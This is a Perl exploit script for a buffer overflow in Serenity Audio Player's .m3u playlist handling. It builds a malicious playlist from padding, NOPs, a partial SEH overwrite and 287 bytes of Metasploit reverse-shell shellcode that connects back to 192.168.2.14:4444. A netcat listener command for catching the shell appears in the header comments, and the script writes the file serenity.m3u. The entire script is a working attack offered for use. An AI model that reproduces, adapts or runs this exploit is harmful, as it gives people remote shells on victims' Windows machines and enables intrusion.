#!/usr/bin/perl
#
# Serenity Audio Player Playlist (.m3u) BOF
# Bug found by mr_me.
#
# Reverse shell, ==> # nc -l -vv -p 4444
# Shellcode size is 287 bytes.
#
# Coded by Oscar Marques aka F-117.
# www.dunkelheit.com.br
# 28/11/09.

my $VERSAO = '0.1';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

sub banner {
print ("\x53\x65\x72\x65\x6e\x69\x74\x79\x20\x41\x75\x64\x69\x6f\x20\x50\x6c\x61\x79\x65\x72\x20\x50\x6c\x61\x79\x6c\x69\x73\x74\x20\x28\x2e\x6d\x33\x75\x29\x20\x42\x4f\x46\xa\x43\x6f\x64\x65\x64\x20\x62\x79\x20\x46\x2d\x31\x31\x37\x2e\n\n");
}

# windows/shell_reverse_tcp - 287 bytes
# http://www.metasploit.com
# LHOST=192.168.2.14, EXITFUNC=seh, LPORT=4444

$shellcode = (
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24".
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f".
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84".
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28".
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c".
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64".
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e".
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50".
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff".
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43".
"\x53\x43\x53\xff\xd0\x68\xc0\xa8\x02\x0e\x66\x68\x11\x5c".
"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a".
"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50".
"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95".
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab".
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51".
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05".
"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6".
"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a".
"\x04\x5f\x53\xff\xd6\xff\xd0");

$header = ("http://"); # Our header 
$offset = ("A" x (992 - length($shellcode)-10)); # Jump!
$nops = ("\x90" x 10); # Fill NOPS
$spray = ("\xe9\xd4\xfe\xff\xff"); # Spray bytes
$sjp = ("\xeb\xf9\x90\x90"); # A short jump uses an 8-bit signed operand, which is a relative offset from the current instruction. 
$partial = ("\xe8\x47\x40"); # Overwrite partial bytes


$evil = ($header . $offset . $nops . $shellcode . $spray . $sjp . $partial);

{
banner();
open(FILE, ">serenity.m3u");
print FILE $evil;
close(FILE); 
print("[+] File created successfully. \n");
}